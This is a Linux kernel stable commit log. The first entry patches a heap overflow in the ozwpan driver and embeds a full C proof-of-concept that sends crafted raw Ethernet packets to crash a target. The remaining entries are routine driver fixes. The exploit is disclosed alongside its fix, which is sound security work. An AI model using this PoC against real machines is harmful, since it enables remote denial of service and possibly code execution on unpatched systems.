      commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.
      
      Since elt->length is a u8, we can make this variable a u8. Then we can
      do proper bounds checking more easily. Without this, a potentially
      negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
      resulting in a remotely exploitable heap overflow with network
      supplied data.
      
      This could result in remote code execution. A PoC which obtains DoS
      follows below. It requires the ozprotocol.h file from this module.
      
      =-=-=-=-=-=
      
       #include <arpa/inet.h>
       #include <linux/if_packet.h>
       #include <net/if.h>
       #include <netinet/ether.h>
       #include <stdio.h>
       #include <string.h>
       #include <stdlib.h>
       #include <endian.h>
       #include <sys/ioctl.h>
       #include <sys/socket.h>
      
       #define u8 uint8_t
       #define u16 uint16_t
       #define u32 uint32_t
       #define __packed __attribute__((__packed__))
       #include "ozprotocol.h"
      
      static int hex2num(char c)
      {
      	if (c >= '0' && c <= '9')
      		return c - '0';
      	if (c >= 'a' && c <= 'f')
      		return c - 'a' + 10;
      	if (c >= 'A' && c <= 'F')
      		return c - 'A' + 10;
      	return -1;
      }
      static int hwaddr_aton(const char *txt, uint8_t *addr)
      {
      	int i;
      	for (i = 0; i < 6; i++) {
      		int a, b;
      		a = hex2num(*txt++);
      		if (a < 0)
      			return -1;
      		b = hex2num(*txt++);
      		if (b < 0)
      			return -1;
      		*addr++ = (a << 4) | b;
      		if (i < 5 && *txt++ != ':')
      			return -1;
      	}
      	return 0;
      }
      
      int main(int argc, char *argv[])
      {
      	if (argc < 3) {
      		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
      		return 1;
      	}
      
      	uint8_t dest_mac[6];
      	if (hwaddr_aton(argv[2], dest_mac)) {
      		fprintf(stderr, "Invalid mac address.\n");
      		return 1;
      	}
      
      	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
      	if (sockfd < 0) {
      		perror("socket");
      		return 1;
      	}
      
      	struct ifreq if_idx;
      	int interface_index;
      	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
      	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
      		perror("SIOCGIFINDEX");
      		return 1;
      	}
      	interface_index = if_idx.ifr_ifindex;
      	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
      		perror("SIOCGIFHWADDR");
      		return 1;
      	}
      	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
      
      	struct {
      		struct ether_header ether_header;
      		struct oz_hdr oz_hdr;
      		struct oz_elt oz_elt;
      		struct oz_elt_connect_req oz_elt_connect_req;
      	} __packed connect_packet = {
      		.ether_header = {
      			.ether_type = htons(OZ_ETHERTYPE),
      			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
      			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      		},
      		.oz_hdr = {
      			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
      			.last_pkt_num = 0,
      			.pkt_num = htole32(0)
      		},
      		.oz_elt = {
      			.type = OZ_ELT_CONNECT_REQ,
      			.length = sizeof(struct oz_elt_connect_req)
      		},
      		.oz_elt_connect_req = {
      			.mode = 0,
      			.resv1 = {0},
      			.pd_info = 0,
      			.session_id = 0,
      			.presleep = 35,
      			.ms_isoc_latency = 0,
      			.host_vendor = 0,
      			.keep_alive = 0,
      			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
      			.max_len_div16 = 0,
      			.ms_per_isoc = 0,
      			.up_audio_buf = 0,
      			.ms_per_elt = 0
      		}
      	};
      
      	struct {
      		struct ether_header ether_header;
      		struct oz_hdr oz_hdr;
      		struct oz_elt oz_elt;
      		struct oz_get_desc_rsp oz_get_desc_rsp;
      	} __packed pwn_packet = {
      		.ether_header = {
      			.ether_type = htons(OZ_ETHERTYPE),
      			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
      			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      		},
      		.oz_hdr = {
      			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
      			.last_pkt_num = 0,
      			.pkt_num = htole32(1)
      		},
      		.oz_elt = {
      			.type = OZ_ELT_APP_DATA,
      			.length = sizeof(struct oz_get_desc_rsp) - 2
      		},
      		.oz_get_desc_rsp = {
      			.app_id = OZ_APPID_USB,
      			.elt_seq_num = 0,
      			.type = OZ_GET_DESC_RSP,
      			.req_id = 0,
      			.offset = htole16(0),
      			.total_size = htole16(0),
      			.rcode = 0,
      			.data = {0}
      		}
      	};
      
      	struct sockaddr_ll socket_address = {
      		.sll_ifindex = interface_index,
      		.sll_halen = ETH_ALEN,
      		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      	};
      
      	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
      		perror("sendto");
      		return 1;
      	}
      	usleep(300000);
      	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
      		perror("sendto");
      		return 1;
      	}
      	return 0;
      }
      Signed-off-by: 's avatarJason A. Donenfeld <Jason@zx2c4.com>
      Acked-by: 's avatarDan Carpenter <dan.carpenter@oracle.com>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      1804b143
    • Patrick Riphagen's avatar
      USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board · dc320d50
      Patrick Riphagen authored
      commit 1df5b888f54070a373a73b34488cc78c2365b7b4 upstream.
      
      This adds support for new Xsens device, Motion Tracker Development Board,
      using Xsens' own Vendor ID
      Signed-off-by: 's avatarPatrick Riphagen <patrick.riphagen@xsens.com>
      Signed-off-by: 's avatarJohan Hovold <johan@kernel.org>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      dc320d50
    • John D. Blair's avatar
      USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle · 0848ca6c
      John D. Blair authored
      commit df72d588c54dad57dabb3cc8a87475d8ed66d806 upstream.
      
      Added the USB serial device ID for the HubZ dual ZigBee
      and Z-Wave radio dongle.
      Signed-off-by: 's avatarJohn D. Blair <johnb@candicontrols.com>
      Signed-off-by: 's avatarJohan Hovold <johan@kernel.org>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      0848ca6c
    • Hans de Goede's avatar
      Input: elantech - fix detection of touchpads where the revision matches a known rate · 61571905
      Hans de Goede authored
      commit 5f0ee9d17aae628b22be86966471db65be21f262 upstream.
      
      Make the check to skip the rate check more lax, so that it applies
      to all hw_version 4 models.
      
      This fixes the touchpad not being detected properly on Asus PU551LA
      laptops.
      Reported-and-tested-by: 's avatarDavid Zafra Gómez <dezeta@klo.es>
      Signed-off-by: 's avatarHans de Goede <hdegoede@redhat.com>
      Signed-off-by: 's avatarDmitry Torokhov <dmitry.torokhov@gmail.com>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      61571905
    • Paul Cercueil's avatar
      iio: adis16400: Compute the scan mask from channel indices · 50739084
      Paul Cercueil authored
      commit c2a8b623a089d52c199e305e7905829907db8ec8 upstream.
      
      We unfortunately can't use ~0UL for the scan mask to indicate that the
      only valid scan mask is all channels selected. The IIO core needs the exact
      mask to work correctly and not a super-set of it. So calculate the masked
      based on the channels that are available for a particular device.
      Signed-off-by: 's avatarPaul Cercueil <paul.cercueil@analog.com>
      Signed-off-by: 's avatarLars-Peter Clausen <lars@metafoo.de>
      Fixes: 5eda3550 ("staging:iio:adis16400: Preallocate transfer message")
      Signed-off-by: 's avatarJonathan Cameron <jic23@kernel.org>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      50739084
    • Paul Cercueil's avatar
      iio: adis16400: Use != channel indices for the two voltage channels · beed1a25
      Paul Cercueil authored
      commit 7323d59862802ca109451eeda9777024a7625509 upstream.
      
      Previously, the two voltage channels had the same ID, which didn't cause
      conflicts in sysfs only because one channel is named and the other isn't;
      this is still violating the spec though, two indexed channels should never
      have the same index.
      Signed-off-by: 's avatarPaul Cercueil <paul.cercueil@analog.com>
      Signed-off-by: 's avatarLars-Peter Clausen <lars@metafoo.de>
      Signed-off-by: 's avatarJonathan Cameron <jic23@kernel.org>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      beed1a25
    • Lars-Peter Clausen's avatar
      iio: adis16400: Report pressure channel scale · 3b9f2aa3
      Lars-Peter Clausen authored
      commit 69ca2d771e4e709c5ae1125858e1246e77ef8b86 upstream.
      
      Add the scale for the pressure channel, which is currently missing.
      Signed-off-by: 's avatarLars-Peter Clausen <lars@metafoo.de>
      Fixes: 76ada52f ("iio:adis16400: Add support for the adis16448")
      Signed-off-by: 's avatarJonathan Cameron <jic23@kernel.org>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      3b9f2aa3
    • Ian Campbell's avatar
      xen: netback: read hotplug script once at start of day. · 762965a2
      Ian Campbell authored
      [ Upstream commit 31a418986a5852034d520a5bab546821ff1ccf3d ]
      
      When we come to tear things down in netback_remove() and generate the
      uevent it is possible that the xenstore directory has already been
      removed (details below).
      
      In such cases netback_uevent() won't be able to read the hotplug
      script and will write a xenstore error node.
      
      A recent change to the hypervisor exposed this race such that we now
      sometimes lose it (where apparently we didn't ever before).
      
      Instead read the hotplug script configuration during setup and use it
      for the lifetime of the backend device.
      
      The apparently more obvious fix of moving the transition to
      state=Closed in netback_remove() to after the uevent does not work
      because it is possible that we are already in state=Closed (in
      reaction to the guest having disconnected as it shutdown). Being
      already in Closed means the toolstack is at liberty to start tearing
      down the xenstore directories. In principal it might be possible to
      arrange to unregister the device sooner (e.g on transition to Closing)
      such that xenstore would still be there but this state machine is
      fragile and prone to anger...
      
      A modern Xen system only relies on the hotplug uevent for driver
      domains, when the backend is in the same domain as the toolstack it
      will run the necessary setup/teardown directly in the correct sequence
      wrt xenstore changes.
      Signed-off-by: 's avatarIan Campbell <ian.campbell@citrix.com>
      Acked-by: 's avatarWei Liu <wei.liu2@citrix.com>
      Signed-off-by: 's avatarDavid S. Miller <davem@davemloft.net>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      762965a2
    • Richard Cochran's avatar
      net: dp83640: fix broken calibration routine. · 5385d8c4
      Richard Cochran authored
      [ Upstream commit 397a253af5031de4a4612210055935309af4472c ]
      
      Currently, the calibration function that corrects the initial offsets
      among multiple devices only works the first time.  If the function is
      called more than once, the calibration fails and bogus offsets will be
      programmed into the devices.
      
      In a well hidden spot, the device documentation tells that trigger indexes
      0 and 1 are special in allowing the TRIG_IF_LATE flag to actually work.
      
      This patch fixes the issue by using one of the special triggers during the
      recalibration method.
      Signed-off-by: 's avatarRichard Cochran <richardcochran@gmail.com>
      Signed-off-by: 's avatarDavid S. Miller <davem@davemloft.net>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      5385d8c4
    • Florian Fainelli's avatar
      net: phy: Allow EEE for all RGMII variants · c153687d
      Florian Fainelli authored
      [ Upstream commit 7e14069651591c81046ffaec13c3dac8cb70f5fb ]
      
      RGMII interfaces come in multiple flavors: RGMII with transmit or
      receive internal delay, no delays at all, or delays in both direction.
      
      This change extends the initial check for PHY_INTERFACE_MODE_RGMII to
      cover all of these variants since EEE should be allowed for any of these
      modes, since it is a property of the RGMII, hence Gigabit PHY capability
      more than the RGMII electrical interface and its delays.
      
      Fixes: a59a4d19 ("phy: add the EEE support and the way to access to the MMD registers")
      Signed-off-by: 's avatarFlorian Fainelli <f.fainelli@gmail.com>
      Signed-off-by: 's avatarDavid S. Miller <davem@davemloft.net>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      c153687d